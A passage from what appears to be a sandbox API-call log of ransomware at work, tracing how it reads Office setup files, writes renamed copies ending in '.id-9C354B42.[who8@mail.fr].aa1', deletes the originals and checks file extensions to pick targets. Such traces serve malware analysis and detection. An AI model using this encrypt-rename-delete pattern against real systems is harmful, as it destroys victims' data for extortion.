controller\\office.en-us\\setup.chm")) returned 0x20 [0209.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0209.341] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.341] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0209.341] GetLastError () returned 0x0 [0209.341] ReadFile (in: hFile=0x1e4, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x10676, lpOverlapped=0x0) returned 1 [0209.539] WriteFile (in: hFile=0x164, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0209.542] ReadFile (in: hFile=0x1e4, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.542] WriteFile (in: hFile=0x164, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0209.542] SetEndOfFile (hFile=0x164) returned 1 [0209.542] CloseHandle (hObject=0x164) returned 1 [0209.552] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.552] SetEndOfFile (hFile=0x1e4) returned 1 [0209.642] CloseHandle (hObject=0x1e4) returned 1 [0209.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.643] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0209.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0209.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0209.643] lstrlenW (lpString=".doc") returned 4 [0209.643] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0209.643] lstrlenW (lpString=".docx") returned 5 [0209.643] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0209.643] lstrlenW (lpString=".pdf") returned 4 [0209.643] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0209.643] lstrlenW (lpString=".xls") returned 4 [0209.643] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0209.643] lstrlenW (lpString=".xlsx") returned 5 [0209.643] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0209.644] lstrlenW (lpString=".ppt") returned 4 [0209.644] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0209.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0209.644] lstrlenW (lpString=".zip") returned 4 [0209.644] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0209.644] lstrlenW (lpString=".rar") returned 4 [0209.644] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0209.644] lstrlenW (lpString=".bz2") returned 4 [0209.644] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0209.644] lstrlenW (lpString=".7z") returned 3 [0209.644] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0209.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0209.644] lstrlenW (lpString=".dbf") returned 4 [0209.644] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0209.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0209.644] lstrlenW (lpString=".1cd") returned 4 [0209.644] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0209.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0209.644] lstrlenW (lpString=".jpg") returned 4 [0209.644] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0209.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0209.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0209.644] lstrlenW (lpString=".doc") returned 4 [0209.644] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0209.644] lstrlenW (lpString=".docx") returned 5 [0209.645] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0209.645] lstrlenW (lpString=".pdf") returned 4 [0209.645] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0209.645] lstrlenW (lpString=".xls") returned 4 [0209.645] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0209.645] lstrlenW (lpString=".xlsx") returned 5 [0209.645] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0209.646] lstrlenW (lpString=".ppt") returned 4 [0209.646] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0209.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0209.646] lstrlenW (lpString=".zip") returned 4 [0209.646] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0209.646] lstrlenW (lpString=".rar") returned 4 [0209.646] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0209.646] lstrlenW (lpString=".bz2") returned 4 [0209.646] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0209.646] lstrlenW (lpString=".7z") returned 3 [0209.646] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0209.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0209.646] lstrlenW (lpString=".dbf") returned 4 [0209.646] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0209.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0209.646] lstrlenW (lpString=".1cd") returned 4 [0209.646] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0209.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0209.646] lstrlenW (lpString=".jpg") returned 4 [0209.647] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0209.647] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.647] lstrlenW (lpString="SETUP.XML") returned 9 [0209.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0209.711] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1988) returned 1 [0209.712] CloseHandle (hObject=0x1e4) returned 1 [0209.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0209.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0209.712] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.712] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0209.712] GetLastError () returned 0x0 [0209.712] ReadFile (in: hFile=0x1e4, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0209.764] WriteFile (in: hFile=0x1f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0209.765] ReadFile (in: hFile=0x1e4, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.765] WriteFile (in: hFile=0x1f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0209.765] SetEndOfFile (hFile=0x1f8) returned 1 [0209.765] CloseHandle (hObject=0x1f8) returned 1 [0209.766] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.766] SetEndOfFile (hFile=0x1e4) returned 1 [0209.767] CloseHandle (hObject=0x1e4) returned 1 [0209.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.768] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0209.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0209.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0209.768] lstrlenW (lpString=".doc") returned 4 [0209.768] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.768] lstrlenW (lpString=".docx") returned 5 [0209.768] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0209.768] lstrlenW (lpString=".pdf") returned 4 [0209.768] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.768] lstrlenW (lpString=".xls") returned 4 [0209.768] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.768] lstrlenW (lpString=".xlsx") returned 5 [0209.768] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0209.768] lstrlenW (lpString=".ppt") returned 4 [0209.768] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0209.769] lstrlenW (lpString=".zip") returned 4 [0209.769] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.769] lstrlenW (lpString=".rar") returned 4 [0209.769] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.769] lstrlenW (lpString=".bz2") returned 4 [0209.769] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.769] lstrlenW (lpString=".7z") returned 3 [0209.769] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0209.769] lstrlenW (lpString=".dbf") returned 4 [0209.769] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0209.769] lstrlenW (lpString=".1cd") returned 4 [0209.769] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0209.769] lstrlenW (lpString=".jpg") returned 4 [0209.769] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0209.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0209.769] lstrlenW (lpString=".doc") returned 4 [0209.769] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.769] lstrlenW (lpString=".docx") returned 5 [0209.769] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0209.769] lstrlenW (lpString=".pdf") returned 4 [0209.769] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.769] lstrlenW (lpString=".xls") returned 4 [0209.769] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.769] lstrlenW (lpString=".xlsx") returned 5 [0209.770] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0209.770] lstrlenW (lpString=".ppt") returned 4 [0209.770] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0209.770] lstrlenW (lpString=".zip") returned 4 [0209.770] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.770] lstrlenW (lpString=".rar") returned 4 [0209.770] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.770] lstrlenW (lpString=".bz2") returned 4 [0209.770] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.770] lstrlenW (lpString=".7z") returned 3 [0209.770] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0209.770] lstrlenW (lpString=".dbf") returned 4 [0209.770] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0209.770] lstrlenW (lpString=".1cd") returned 4 [0209.770] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0209.770] lstrlenW (lpString=".jpg") returned 4 [0209.770] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.770] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.770] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0209.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0209.771] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1450) returned 1 [0209.771] CloseHandle (hObject=0x1e4) returned 1 [0209.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0209.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0209.771] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.772] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0209.776] GetLastError () returned 0x0 [0209.776] ReadFile (in: hFile=0x1e4, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0209.815] WriteFile (in: hFile=0x1f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0209.815] ReadFile (in: hFile=0x1e4, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.816] WriteFile (in: hFile=0x1f8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0209.816] SetEndOfFile (hFile=0x1f8) returned 1 [0209.816] CloseHandle (hObject=0x1f8) returned 1 [0209.837] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.837] SetEndOfFile (hFile=0x1e4) returned 1 [0209.838] CloseHandle (hObject=0x1e4) returned 1 [0209.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.838] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0209.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0209.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0209.839] lstrlenW (lpString=".doc") returned 4 [0209.839] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.839] lstrlenW (lpString=".docx") returned 5 [0209.839] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.839] lstrlenW (lpString=".pdf") returned 4 [0209.839] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.839] lstrlenW (lpString=".xls") returned 4 [0209.839] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.839] lstrlenW (lpString=".xlsx") returned 5 [0209.839] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.839] lstrlenW (lpString=".ppt") returned 4 [0209.839] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0209.839] lstrlenW (lpString=".zip") returned 4 [0209.839] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.839] lstrlenW (lpString=".rar") returned 4 [0209.839] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.839] lstrlenW (lpString=".bz2") returned 4 [0209.839] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.839] lstrlenW (lpString=".7z") returned 3 [0209.839] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0209.839] lstrlenW (lpString=".dbf") returned 4 [0209.839] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0209.839] lstrlenW (lpString=".1cd") returned 4 [0209.839] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0209.840] lstrlenW (lpString=".jpg") returned 4 [0209.840] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0209.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0209.840] lstrlenW (lpString=".doc") returned 4 [0209.840] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.840] lstrlenW (lpString=".docx") returned 5 [0209.840] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.840] lstrlenW (lpString=".pdf") returned 4 [0209.840] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.840] lstrlenW (lpString=".xls") returned 4 [0209.840] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.840] lstrlenW (lpString=".xlsx") returned 5 [0209.840] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.840] lstrlenW (lpString=".ppt") returned 4 [0209.840] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0209.840] lstrlenW (lpString=".zip") returned 4 [0209.840] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.840] lstrlenW (lpString=".rar") returned 4 [0209.840] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.840] lstrlenW (lpString=".bz2") returned 4 [0209.840] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.840] lstrlenW (lpString=".7z") returned 3 [0209.840] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0209.841] lstrlenW (lpString=".dbf") 